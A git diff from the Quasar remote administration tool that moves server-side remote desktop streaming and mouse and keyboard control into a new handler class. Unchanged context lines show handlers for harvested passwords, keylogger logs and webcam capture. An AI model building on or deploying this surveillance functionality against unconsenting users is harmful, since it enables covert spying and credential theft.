ClientDisconnectedEventHandler ClientDisconnected; + + protected virtual void OnClientDisconnected(ISender client) + { + // If there's no handler, don't bother going through the sync context. + // Inside the callback, we'll need to check again, in case + // an event handler is removed between now and then. + var handler = ProgressChanged; + if (handler != null) + { + SynchronizationContext.Post(_invokeClientDisconnectedHandlers, client); + } + } + + /// + /// Initializes the + /// + /// + /// If this value is false, the progress callbacks will be invoked on the ThreadPool. + /// Otherwise the current SynchronizationContext will be used. + /// + protected MessageProcessorBase(bool useCurrentContext) + { + _invokeReportProgressHandlers = InvokeReportProgressHandlers; + _invokeClientDisconnectedHandlers = InvokeClientDisconnectedHandlers; + SynchronizationContext = useCurrentContext ? SynchronizationContext.Current : ProgressStatics.DefaultContext; + } + + /// + /// Invokes the action and event callbacks. + /// + /// The progress value. + private void InvokeReportProgressHandlers(object state) + { + var handler = ProgressChanged; + handler?.Invoke(this, (T)state); + } + + private void InvokeClientDisconnectedHandlers(object state) + { + var handler = ClientDisconnected; + handler?.Invoke(this, (ISender)state); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + public virtual void NotifyDisconnect(ISender sender) => OnClientDisconnected(sender); + void IProgress.Report(T value) => OnReport(value); + public abstract bool CanExecute(IMessage message); + public abstract bool CanExecuteFrom(ISender sender); + public abstract void Execute(ISender sender, IMessage message); + protected abstract void Dispose(bool disposing); + } + + /// + /// Holds static values for . + /// + /// + /// This avoids one static instance per type T. + /// + internal static class ProgressStatics + { + /// + /// A default synchronization context that targets the ThreadPool. + /// + internal static readonly SynchronizationContext DefaultContext = new SynchronizationContext(); + } +} diff --git a/Quasar.Common/Networking/ISender.cs b/Quasar.Common/Networking/ISender.cs index d248eaeae..813e7c666 100644 --- a/Quasar.Common/Networking/ISender.cs +++ b/Quasar.Common/Networking/ISender.cs @@ -1,6 +1,9 @@ -namespace Quasar.Common.Networking +using Quasar.Common.Messages; + +namespace Quasar.Common.Networking { public interface ISender { + void Send(T message) where T : IMessage; } } diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index 58d43034a..465befa35 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -34,15 +34,18 @@ true - - ..\packages\protobuf-net.2.3.17\lib\net40\protobuf-net.dll + + ..\packages\protobuf-net.2.4.0\lib\net40\protobuf-net.dll + + + - + @@ -140,6 +143,5 @@ - \ No newline at end of file diff --git a/Quasar.Common/packages.config b/Quasar.Common/packages.config index 1113d4fc8..ac902325d 100644 --- a/Quasar.Common/packages.config +++ b/Quasar.Common/packages.config @@ -1,4 +1,4 @@  - + \ No newline at end of file diff --git a/Server/Controls/RapidPictureBox.cs b/Server/Controls/RapidPictureBox.cs index 2e7d17781..54cce2e6e 100644 --- a/Server/Controls/RapidPictureBox.cs +++ b/Server/Controls/RapidPictureBox.cs @@ -104,8 +104,7 @@ public void Start() /// public void Stop() { - if (_sWatch != null) - _sWatch.Stop(); + _sWatch?.Stop(); Running = false; } @@ -133,8 +132,7 @@ public void UpdateImage(Bitmap bmp, bool cloneBitmap) GetImageSafe = cloneBitmap ? new Bitmap(bmp, Width, Height) /*resize bitmap*/ : bmp; ResumeLayout(); - if (oldImage != null) - oldImage.Dispose(); + oldImage?.Dispose(); } } catch (InvalidOperationException) diff --git a/Server/Core/Commands/RemoteDesktopHandler.cs b/Server/Core/Commands/RemoteDesktopHandler.cs new file mode 100644 index 000000000..7de9c8f6a --- /dev/null +++ b/Server/Core/Commands/RemoteDesktopHandler.cs @@ -0,0 +1,188 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Common.Video.Codecs; +using System.Drawing; +using System.IO; +using xServer.Core.Networking; + +namespace xServer.Core.Commands +{ + // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis + public class RemoteDesktopHandler : MessageProcessorBase + { + /// + /// States if the client is currently streaming desktop frames. + /// + public bool IsStarted { get; set; } + + private readonly object _syncLock = new object(); + + private readonly object _sizeLock = new object(); + + private Size _localResolution; + + public Size LocalResolution + { + get + { + lock (_sizeLock) + { + return _localResolution; + } + } + set + { + lock (_sizeLock) + { + _localResolution = value; + } + } + } + + /// + /// Represents the method that will handle display changes. + /// + /// The message processor which updated the progress. + /// All currently available displays. + public delegate void DisplaysChangedEventHandler(object sender, int value); + + /// + /// Raised when a display changed. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event DisplaysChangedEventHandler DisplaysChanged; + + /// + /// Reports changed displays. + /// + /// + /// All currently available displays. + /// + protected virtual void OnDisplaysChanged(int value) + { + SynchronizationContext.Post(val => + { + var handler = DisplaysChanged; + handler?.Invoke(this, (int)val); + }, value); + } + + private readonly Client _client; + private UnsafeStreamCodec _codec; + + public RemoteDesktopHandler(Client client) : base(true) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is GetDesktopResponse || message is GetMonitorsResponse; + + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktopResponse d: + Execute(sender, d); + break; + case GetMonitorsResponse m: + Execute(sender, m); + break; + } + } + + public void BeginReceiveFrames(int quality, int display) + { + lock (_syncLock) + { + IsStarted = true; + _codec?.Dispose(); + _codec = null; + _client.Send(new GetDesktop { CreateNew = true, Quality = quality, DisplayIndex = display }); + } + } + + public void EndReceiveFrames() + { + lock (_syncLock) + { + IsStarted = false; + } + } + + public void RefreshDisplays() + { + _client.Send(new GetMonitors()); + } + + public void SendMouseEvent(MouseAction mouseAction, bool isMouseDown, int x, int y, int displayIndex) + { + lock (_syncLock) + { + _client.Send(new DoMouseEvent + { + Action = mouseAction, + IsMouseDown = isMouseDown, + // calculate remote width & height + X = x * _codec.Resolution.Width / LocalResolution.Width, + Y = y * _codec.Resolution.Height / LocalResolution.Height, + MonitorIndex = displayIndex + }); + } + } + + public void SendKeyboardEvent(byte keyCode, bool keyDown) + { + _client.Send(new DoKeyboardEvent {Key = keyCode, KeyDown = keyDown}); + } + + private void Execute(ISender client, GetDesktopResponse message) + { + lock (_syncLock) + { + if (!IsStarted) + return; + + if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution) + { + _codec?.Dispose(); + _codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution); + } + + using (MemoryStream ms = new MemoryStream(message.Image)) + { + // create deep copy & resize bitmap to local resolution + OnReport(new Bitmap(_codec.DecodeData(ms), LocalResolution)); + } + + message.Image = null; + + client.Send(new GetDesktop {Quality = message.Quality, DisplayIndex = message.Monitor}); + } + } + + private void Execute(ISender client, GetMonitorsResponse message) + { + OnDisplaysChanged(message.Number); + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + // get rid of managed resources + lock (_syncLock) + { + _codec?.Dispose(); + IsStarted = false; + } + } + // get rid of unmanaged resources + } + } +} diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs index c1838f614..3962745f2 100644 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ b/Server/Core/Commands/SurveillanceHandler.cs @@ -4,7 +4,6 @@ using System.Drawing; using System.Threading; using Quasar.Common.Messages; -using Quasar.Common.Video.Codecs; using xServer.Core.Data; using xServer.Core.Helper; using xServer.Core.Networking; @@ -41,39 +40,6 @@ public static void HandleGetPasswordsResponse(Client client, GetPasswordsRespons if (client.Value != null && client.Value.FrmPass != null) client.Value.FrmPass.AddPasswords(lst.ToArray(), userAtPc); } - public static void HandleGetDesktopResponse(Client client, GetDesktopResponse packet) - { - if (client.Value == null - || client.Value.FrmRdp == null - || client.Value.FrmRdp.IsDisposed - || client.Value.FrmRdp.Disposing) - return; - - if (packet.Image == null) - return; - - if (client.Value.StreamCodec == null) - client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor, packet.Resolution); - - if (client.Value.StreamCodec.ImageQuality != packet.Quality || client.Value.StreamCodec.Monitor != packet.Monitor - || client.Value.StreamCodec.Resolution != packet.Resolution) - { - if (client.Value.StreamCodec != null) - client.Value.StreamCodec.Dispose(); - - client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor, packet.Resolution); - } - - using (MemoryStream ms = new MemoryStream(packet.Image)) - { - client.Value.FrmRdp.UpdateImage(client.Value.StreamCodec.DecodeData(ms), true); - } - - packet.Image = null; - - if (client.Value != null && client.Value.FrmRdp != null && client.Value.FrmRdp.IsStarted) - client.Send(new GetDesktop {Quality = packet.Quality, Monitor = packet.Monitor}); - } public static void HandleGetProcessesResponse(Client client, GetProcessesResponse packet) { @@ -174,14 +140,6 @@ public static void HandleGetKeyloggerLogsResponse(Client client, GetKeyloggerLog } } - public static void HandleGetMonitorsResponse(Client client, GetMonitorsResponse packet) - { - if (client.Value == null || client.Value.FrmRdp == null) - return; - - client.Value.FrmRdp.AddMonitors(packet.Number); - } - public static void HandleGetWebcamsResponse(Client client, GetWebcamsResponse packet) { if (client.Value == null || client.Value.FrmWebcam == null) diff --git a/Server/Core/Networking/PacketHandler.cs b/Server/Core/Networking/PacketHandler.cs index 13c95ccea..d965364ff 100644 --- a/Server/Core/Networking/PacketHandler.cs +++ b/Server/Core/Networking/PacketHandler.cs @@ -21,10 +21,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleSetUserStatus(client, (SetUserStatus)packet); } - else if (type == typeof(GetDesktopResponse)) - { - CommandHandler.HandleGetDesktopResponse(client, (GetDesktopResponse)packet); - } else if (type == typeof(GetProcessesResponse)) { CommandHandler.HandleGetProcessesResponse(client, @@ -48,10 +44,6 @@ public static void HandlePacket(Client client, IMessage packet) CommandHandler.HandleGetSystemInfoResponse(client, (GetSystemInfoResponse)packet); } - else if (type == typeof(GetMonitorsResponse)) - { - CommandHandler.HandleGetMonitorsResponse(client, (GetMonitorsResponse)packet); - } else if (type == typeof(GetWebcamsResponse)) { CommandHandler.HandleGetWebcamsResponse(client, (GetWebcamsResponse)packet); diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs index a99c14dac..b2e041c07 100644 --- a/Server/Core/Networking/QuasarServer.cs +++ b/Server/Core/Networking/QuasarServer.cs @@ -89,6 +89,7 @@ private void OnClientState(Server server, Client client, bool connected) case false: if (client.Authenticated) { + MessageHandler.NotifyDisconnect(client); // TODO: check OnClientDisconnected(client); } break; @@ -122,7 +123,8 @@ private void OnClientRead(Server server, Client client, IMessage message) return; } - PacketHandler.HandlePacket(client, message); + MessageHandler.Process(client, message); + PacketHandler.HandlePacket(client, message); // TODO: Remove this } } } diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index 0b63a08bc..9bf738bc9 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -24,7 +24,6 @@ public class UserState : IDisposable public string Tag { get; set; } public string DownloadDirectory { get; set; } - public FrmRemoteDesktop FrmRdp { get; set; } public FrmRemoteWebcam FrmWebcam { get; set; } public FrmTaskManager FrmTm { get; set; } public FrmFileManager FrmFm { get; set; } @@ -39,7 +38,6 @@ public class UserState : IDisposable public bool ReceivedLastDirectory { get; set; } - public UnsafeStreamCodec StreamCodec { get; set; } public ReverseProxyServer ProxyServer { get; set; } public bool ProcessingDirectory @@ -80,8 +78,6 @@ protected virtual void Dispose(bool disposing) { try { - if (FrmRdp != null) - FrmRdp.Invoke((MethodInvoker)delegate { FrmRdp.Close(); }); if (FrmWebcam != null) FrmWebcam.Invoke((MethodInvoker)delegate { FrmWebcam.Close(); }); if (FrmTm != null) @@ -108,9 +104,6 @@ protected virtual void Dispose(bool disposing) catch (InvalidOperationException) { } - - if (StreamCodec != null) - StreamCodec.Dispose(); } } } diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index e4bc5a882..a8129918e 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -702,13 +702,10 @@ private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) { - if (c.Value.FrmRdp != null) - { - c.Value.FrmRdp.Focus(); - return; - } + // TODO: Don't allow opening multiple forms for single client FrmRemoteDesktop frmRDP = new FrmRemoteDesktop(c); frmRDP.Show(); + frmRDP.Focus(); } } private void remoteWebcamToolStripMenuItem_Click(object sender, EventArgs e) diff --git a/Server/Forms/FrmRemoteDesktop.Designer.cs b/Server/Forms/FrmRemoteDesktop.Designer.cs index 32f5dff4a..f03ab8f57 100644 --- a/Server/Forms/FrmRemoteDesktop.Designer.cs +++ b/Server/Forms/FrmRemoteDesktop.Designer.cs @@ -88,7 +88,7 @@ private void InitializeComponent() this.lblQuality.AutoSize = true; this.lblQuality.Location = new System.Drawing.Point(167, 5); this.lblQuality.Name = "lblQuality"; - this.lblQuality.Size = new System.Drawing.Size(47, 13); + this.lblQuality.Size = new System.Drawing.Size(46, 13); this.lblQuality.TabIndex = 4; this.lblQuality.Text = "Quality:"; // @@ -125,7 +125,7 @@ private void InitializeComponent() this.panelTop.Controls.Add(this.btnStop); this.panelTop.Controls.Add(this.lblQuality); this.panelTop.Controls.Add(this.barQuality); - this.panelTop.Location = new System.Drawing.Point(189, 0); + this.panelTop.Location = new System.Drawing.Point(189, -1); this.panelTop.Name = "panelTop"; this.panelTop.Size = new System.Drawing.Size(384, 57); this.panelTop.TabIndex = 7; @@ -165,7 +165,7 @@ private void InitializeComponent() // // btnShow // - this.btnShow.Location = new System.Drawing.Point(377, 69); + this.btnShow.Location = new System.Drawing.Point(0, 0); this.btnShow.Name = "btnShow"; this.btnShow.Size = new System.Drawing.Size(54, 19); this.btnShow.TabIndex = 8; diff --git a/Server/Forms/FrmRemoteDesktop.cs b/Server/Forms/FrmRemoteDesktop.cs index afa326ae1..b4585e819 100644 --- a/Server/Forms/FrmRemoteDesktop.cs +++ b/Server/Forms/FrmRemoteDesktop.cs @@ -1,54 +1,111 @@ -using System; +using Gma.System.MouseKeyHook; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; using System.Drawing; using System.Windows.Forms; -using System.Collections.Generic; +using xServer.Core.Commands; using xServer.Core.Helper; using xServer.Core.Networking; using xServer.Core.Utilities; -using Gma.System.MouseKeyHook; -using Quasar.Common.Enums; -using Quasar.Common.Messages; namespace xServer.Forms { public partial class FrmRemoteDesktop : Form { - public bool IsStarted { get; private set; } - private readonly Client _connectClient; + /// + /// States whether remote mouse input is enabled. + /// private bool _enableMouseInput; + + /// + /// States whether remote keyboard input is enabled. + /// private bool _enableKeyboardInput; + + /// + /// Holds the state of the local keyboard hooks. + /// private IKeyboardMouseEvents _keyboardHook; + + /// + /// Holds the state of the local mouse hooks. + /// private IKeyboardMouseEvents _mouseHook; - private List _keysPressed; + + /// + /// A list of pressed keys for synchronization between key down & -up events. + /// + private readonly List _keysPressed; + + /// + /// The client which can be used for the remote desktop. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly RemoteDesktopHandler _remoteDesktopHandler; + + //private static Dictionary openForms = new Dictionary(); + //public static FrmRemoteDesktop CreateNewOrGetExisting(Client c) + //{ + // if (openForms.ContainsKey(c)) + // { + // return openForms[c]; + // } + // FrmRemoteDesktop r = new FrmRemoteDesktop(c); + // openForms.Add(c, r); + // return r; + //} public FrmRemoteDesktop(Client c) { _connectClient = c; - _connectClient.Value.FrmRdp = this; + _remoteDesktopHandler = new RemoteDesktopHandler(c); + _keysPressed = new List(); - SubscribeEvents(); + RegisterMessageHandler(); InitializeComponent(); } - private void FrmRemoteDesktop_Load(object sender, EventArgs e) + /// + /// Called whenever a client disconnects. + /// + /// The message handler which raised the event. + /// The client which disconnects. + private void ClientDisconnected(object sender, ISender client) { - this.Text = WindowHelper.GetWindowTitle("Remote Desktop", _connectClient); - - panelTop.Left = (this.Width / 2) - (panelTop.Width / 2); - - btnHide.Left = (panelTop.Width / 2) - (btnHide.Width / 2); - - btnShow.Location = new Point(377, 0); - btnShow.Left = (this.Width / 2) - (btnShow.Width / 2); + this.Close(); + } - _keysPressed = new List(); + /// + /// Registers the remote desktop message handler for client communication. + /// + private void RegisterMessageHandler() + { + _remoteDesktopHandler.DisplaysChanged += DisplaysChanged; + _remoteDesktopHandler.ProgressChanged += UpdateImage; + _remoteDesktopHandler.ClientDisconnected += ClientDisconnected; + MessageHandler.Register(_remoteDesktopHandler); + } - if (_connectClient.Value != null) - _connectClient.Send(new GetMonitors()); + /// + /// Unregisters the remote desktop message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_remoteDesktopHandler); + _remoteDesktopHandler.DisplaysChanged -= DisplaysChanged; + _remoteDesktopHandler.ProgressChanged -= UpdateImage; + _remoteDesktopHandler.ClientDisconnected -= ClientDisconnected; } /// - /// Subscribes the local mouse and keyboard hooks. + /// Subscribes to local mouse and keyboard events for remote desktop input. /// private void SubscribeEvents() { @@ -71,7 +128,7 @@ private void SubscribeEvents() } /// - /// Unsubscribes the local mouse and keyboard hooks. + /// Unsubscribes from local mouse and keyboard events. /// private void UnsubscribeEvents() { @@ -96,184 +153,145 @@ private void UnsubscribeEvents() } } - public void AddMonitors(int monitors) + /// + /// Starts the remote desktop stream and begin to receive desktop frames. + /// + private void StartStream() { - try - { - cbMonitors.Invoke((MethodInvoker)delegate - { - for (int i = 0; i < monitors; i++) - cbMonitors.Items.Add(string.Format("Monitor {0}", i + 1)); - cbMonitors.SelectedIndex = 0; - }); - } - catch (InvalidOperationException) - { - } + ToggleConfigurationControls(true); + + picDesktop.Start(); + // Subscribe to the new frame counter. + picDesktop.SetFrameUpdatedEvent(frameCounter_FrameUpdated); + + this.ActiveControl = picDesktop; + + _remoteDesktopHandler.BeginReceiveFrames(barQuality.Value, cbMonitors.SelectedIndex); } - public void UpdateImage(Bitmap bmp, bool cloneBitmap = false) + /// + /// Stops the remote desktop stream. + /// + private void StopStream() { - picDesktop.UpdateImage(bmp, cloneBitmap); + ToggleConfigurationControls(false); + + picDesktop.Stop(); + // Unsubscribe from the frame counter. It will be re-created when starting again. + picDesktop.UnsetFrameUpdatedEvent(frameCounter_FrameUpdated); + + this.ActiveControl = picDesktop; + + _remoteDesktopHandler.EndReceiveFrames(); } - private void _frameCounter_FrameUpdated(FrameUpdatedEventArgs e) + /// + /// Toggles the activatability of configuration controls in the status/configuration panel. + /// + /// When set to true the configuration controls get enabled, otherwise false. + private void ToggleConfigurationControls(bool started) { - try - { - this.Invoke((MethodInvoker)delegate - { - this.Text = string.Format("{0} - FPS: {1}", WindowHelper.GetWindowTitle("Remote Desktop", _connectClient), e.CurrentFramesPerSecond.ToString("0.00")); - }); - } - catch (InvalidOperationException) - { - } + btnStart.Enabled = !started; + btnStop.Enabled = started; + barQuality.Enabled = !started; + cbMonitors.Enabled = !started; } - private void ToggleControls(bool t) + /// + /// Toggles the visibility of the status/configuration panel. + /// + /// Decides if the panel should be visible. + private void TogglePanelVisibility(bool visible) { - IsStarted = !t; - try - { - this.Invoke((MethodInvoker)delegate - { - btnStart.Enabled = t; - btnStop.Enabled = !t; - barQuality.Enabled = t; - }); - } - catch (InvalidOperationException) - { - } + panelTop.Visible = visible; + btnShow.Visible = !visible; + this.ActiveControl = picDesktop; } - private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e) + /// + /// Called whenever the remote displays changed. + /// + /// The message handler which raised the event. + /// The updated displays. + private void DisplaysChanged(object sender, int displays) { - if (!picDesktop.IsDisposed && !picDesktop.Disposing) - picDesktop.Dispose(); - if (_connectClient.Value != null) - _connectClient.Value.FrmRdp = null; - - UnsubscribeEvents(); + cbMonitors.Items.Clear(); + for (int i = 0; i < displays; i++) + cbMonitors.Items.Add($"Display {i + 1}"); + cbMonitors.SelectedIndex = 0; } - private void FrmRemoteDesktop_Resize(object sender, EventArgs e) + /// + /// Updates the current desktop image by drawing it to the desktop picturebox. + /// + /// The message handler which raised the event. + /// The new desktop image to draw. + private void UpdateImage(object sender, Bitmap bmp) { - panelTop.Left = (this.Width/2) - (panelTop.Width/2); - btnShow.Left = (this.Width/2) - (btnShow.Width/2); + picDesktop.UpdateImage(bmp, false); } - private void btnStart_Click(object sender, EventArgs e) + private void FrmRemoteDesktop_Load(object sender, EventArgs e) { - if (cbMonitors.Items.Count == 0) - { - MessageBox.Show("No monitor detected.\nPlease wait till the client sends a list with available monitors.", - "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); - return; - } - - ToggleControls(false); - - picDesktop.Start(); - - // Subscribe to the new frame counter. - picDesktop.SetFrameUpdatedEvent(_frameCounter_FrameUpdated); + this.Text = WindowHelper.GetWindowTitle("Remote Desktop", _connectClient); - this.ActiveControl = picDesktop; + OnResize(EventArgs.Empty); // trigger resize event to align controls - _connectClient.Send(new GetDesktop {Quality = barQuality.Value, Monitor = cbMonitors.SelectedIndex}); + _remoteDesktopHandler.RefreshDisplays(); } - private void btnStop_Click(object sender, EventArgs e) + /// + /// Updates the title with the current frames per second. + /// + /// The new frames per second. + private void frameCounter_FrameUpdated(FrameUpdatedEventArgs e) { - ToggleControls(true); - - picDesktop.Stop(); - - // Unsubscribe from the frame counter. It will be re-created when starting again. - picDesktop.UnsetFrameUpdatedEvent(_frameCounter_FrameUpdated); - - this.ActiveControl = picDesktop; + this.Text = string.Format("{0} - FPS: {1}", WindowHelper.GetWindowTitle("Remote Desktop", _connectClient), e.CurrentFramesPerSecond.ToString("0.00")); } - private void barQuality_Scroll(object sender, EventArgs e) + private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e) { - int value = barQuality.Value; - lblQualityShow.Text = value.ToString(); - - if (value < 25) - lblQualityShow.Text += " (low)"; - else if (value >= 85) - lblQualityShow.Text += " (best)"; - else if (value >= 75) - lblQualityShow.Text += " (high)"; - else if (value >= 25) - lblQualityShow.Text += " (mid)"; - - this.ActiveControl = picDesktop; + // all cleanup logic goes here + UnsubscribeEvents(); + if (_remoteDesktopHandler.IsStarted) StopStream(); + UnregisterMessageHandler(); + _remoteDesktopHandler.Dispose(); + picDesktop.Image?.Dispose(); } - private void btnMouse_Click(object sender, EventArgs e) + private void FrmRemoteDesktop_Resize(object sender, EventArgs e) { - if (_enableMouseInput) - { - this.picDesktop.Cursor = Cursors.Default; - btnMouse.Image = Properties.Resources.mouse_delete; - toolTipButtons.SetToolTip(btnMouse, "Enable mouse input."); - _enableMouseInput = false; - } - else - { - this.picDesktop.Cursor = Cursors.Hand; - btnMouse.Image = Properties.Resources.mouse_add; - toolTipButtons.SetToolTip(btnMouse, "Disable mouse input."); - _enableMouseInput = true; - } - - this.ActiveControl = picDesktop; + _remoteDesktopHandler.LocalResolution = picDesktop.Size; + panelTop.Left = (this.Width - panelTop.Width) / 2; + btnShow.Left = (this.Width - btnShow.Width) / 2; + btnHide.Left = (panelTop.Width - btnHide.Width) / 2; } - private void btnKeyboard_Click(object sender, EventArgs e) + private void btnStart_Click(object sender, EventArgs e) { - if (_enableKeyboardInput) - { - this.picDesktop.Cursor = Cursors.Default; - btnKeyboard.Image = Properties.Resources.keyboard_delete; - toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input."); - _enableKeyboardInput = false; - } - else + if (cbMonitors.Items.Count == 0) { - this.picDesktop.Cursor = Cursors.Hand; - btnKeyboard.Image = Properties.Resources.keyboard_add; - toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input."); - _enableKeyboardInput = true; + MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.", + "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; } - this.ActiveControl = picDesktop; + SubscribeEvents(); + StartStream(); } - private int GetRemoteWidth(int localX) + private void btnStop_Click(object sender, EventArgs e) { - return localX * picDesktop.ScreenWidth / picDesktop.Width; + UnsubscribeEvents(); + StopStream(); } - private int GetRemoteHeight(int localY) - { - return localY * picDesktop.ScreenHeight / picDesktop.Height; - } + #region Remote Desktop Input private void picDesktop_MouseDown(object sender, MouseEventArgs e) { - if (picDesktop.Image != null && _enableMouseInput && IsStarted && this.ContainsFocus) + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) { - int local_x = e.X; - int local_y = e.Y; - - int remote_x = GetRemoteWidth(local_x); - int remote_y = GetRemoteHeight(local_y); - MouseAction action = MouseAction.None; if (e.Button == MouseButtons.Left) @@ -281,90 +299,51 @@ private void picDesktop_MouseDown(object sender, MouseEventArgs e) if (e.Button == MouseButtons.Right) action = MouseAction.RightDown; - int selectedMonitorIndex = cbMonitors.SelectedIndex; + int selectedDisplayIndex = cbMonitors.SelectedIndex; - _connectClient?.Send(new DoMouseEvent - { - Action = action, - IsMouseDown = true, - X = remote_x, - Y = remote_y, - MonitorIndex = selectedMonitorIndex - }); + _remoteDesktopHandler.SendMouseEvent(action, true, e.X, e.Y, selectedDisplayIndex); } } private void picDesktop_MouseUp(object sender, MouseEventArgs e) { - if (picDesktop.Image != null && _enableMouseInput && IsStarted && this.ContainsFocus) + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) { - int local_x = e.X; - int local_y = e.Y; - - int remote_x = GetRemoteWidth(local_x); - int remote_y = GetRemoteHeight(local_y); - MouseAction action = MouseAction.None; if (e.Button == MouseButtons.Left) - action = MouseAction.LeftDown; + action = MouseAction.LeftUp; if (e.Button == MouseButtons.Right) - action = MouseAction.RightDown; + action = MouseAction.RightUp; - int selectedMonitorIndex = cbMonitors.SelectedIndex; + int selectedDisplayIndex = cbMonitors.SelectedIndex; - _connectClient?.Send(new DoMouseEvent - { - Action = action, - IsMouseDown = false, - X = remote_x, - Y = remote_y, - MonitorIndex = selectedMonitorIndex - }); + _remoteDesktopHandler.SendMouseEvent(action, false, e.X, e.Y, selectedDisplayIndex); } } private void picDesktop_MouseMove(object sender, MouseEventArgs e) { - if (picDesktop.Image != null && _enableMouseInput && IsStarted && this.ContainsFocus) + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) { - int local_x = e.X; - int local_y = e.Y; - - int remote_x = GetRemoteWidth(local_x); - int remote_y = GetRemoteHeight(local_y); - - int selectedMonitorIndex = cbMonitors.SelectedIndex; + int selectedDisplayIndex = cbMonitors.SelectedIndex; - _connectClient?.Send(new DoMouseEvent - { - Action = MouseAction.MoveCursor, - IsMouseDown = false, - X = remote_x, - Y = remote_y, - MonitorIndex = selectedMonitorIndex - }); + _remoteDesktopHandler.SendMouseEvent(MouseAction.MoveCursor, false, e.X, e.Y, selectedDisplayIndex); } } private void OnMouseWheelMove(object sender, MouseEventArgs e) { - if (picDesktop.Image != null && _enableMouseInput && IsStarted && this.ContainsFocus) + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) { - _connectClient?.Send(new DoMouseEvent - { - Action = e.Delta == 120 ? MouseAction.ScrollUp : MouseAction.ScrollDown, - IsMouseDown = false, - X = 0, - Y = 0, - MonitorIndex = cbMonitors.SelectedIndex - }); + _remoteDesktopHandler.SendMouseEvent(e.Delta == 120 ? MouseAction.ScrollUp : MouseAction.ScrollDown, + false, 0, 0, cbMonitors.SelectedIndex); } } private void OnKeyDown(object sender, KeyEventArgs e) { - if (picDesktop.Image != null && _enableKeyboardInput && IsStarted && this.ContainsFocus) + if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus) { if (!IsLockKey(e.KeyCode)) e.Handled = true; @@ -374,44 +353,100 @@ private void OnKeyDown(object sender, KeyEventArgs e) _keysPressed.Add(e.KeyCode); - _connectClient?.Send(new DoKeyboardEvent {Key = (byte) e.KeyCode, KeyDown = true}); + _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, true); } } private void OnKeyUp(object sender, KeyEventArgs e) { - if (picDesktop.Image != null && _enableKeyboardInput && IsStarted && this.ContainsFocus) + if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus) { if (!IsLockKey(e.KeyCode)) e.Handled = true; _keysPressed.Remove(e.KeyCode); - _connectClient?.Send(new DoKeyboardEvent {Key = (byte) e.KeyCode, KeyDown = false}); + _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, false); } } private bool IsLockKey(Keys key) { return ((key & Keys.CapsLock) == Keys.CapsLock) - || ((key & Keys.NumLock) == Keys.NumLock) - || ((key & Keys.Scroll) == Keys.Scroll); + || ((key & Keys.NumLock) == Keys.NumLock) + || ((key & Keys.Scroll) == Keys.Scroll); } + #endregion - private void btnHide_Click(object sender, EventArgs e) + #region Remote Desktop Configuration + + private void barQuality_Scroll(object sender, EventArgs e) { - panelTop.Visible = false; - btnShow.Visible = true; - btnHide.Visible = false; + int value = barQuality.Value; + lblQualityShow.Text = value.ToString(); + + if (value < 25) + lblQualityShow.Text += " (low)"; + else if (value >= 85) + lblQualityShow.Text += " (best)"; + else if (value >= 75) + lblQualityShow.Text += " (high)"; + else if (value >= 25) + lblQualityShow.Text += " (mid)"; + this.ActiveControl = picDesktop; } - private void btnShow_Click(object sender, EventArgs e) + private void btnMouse_Click(object sender, EventArgs e) + { + if (_enableMouseInput) + { + this.picDesktop.Cursor = Cursors.Default; + btnMouse.Image = Properties.Resources.mouse_delete; + toolTipButtons.SetToolTip(btnMouse, "Enable mouse input."); + _enableMouseInput = false; + } + else + { + this.picDesktop.Cursor = Cursors.Hand; + btnMouse.Image = Properties.Resources.mouse_add; + toolTipButtons.SetToolTip(btnMouse, "Disable mouse input."); + _enableMouseInput = true; + } + + this.ActiveControl = picDesktop; + } + + private void btnKeyboard_Click(object sender, EventArgs e) { - panelTop.Visible = true; - 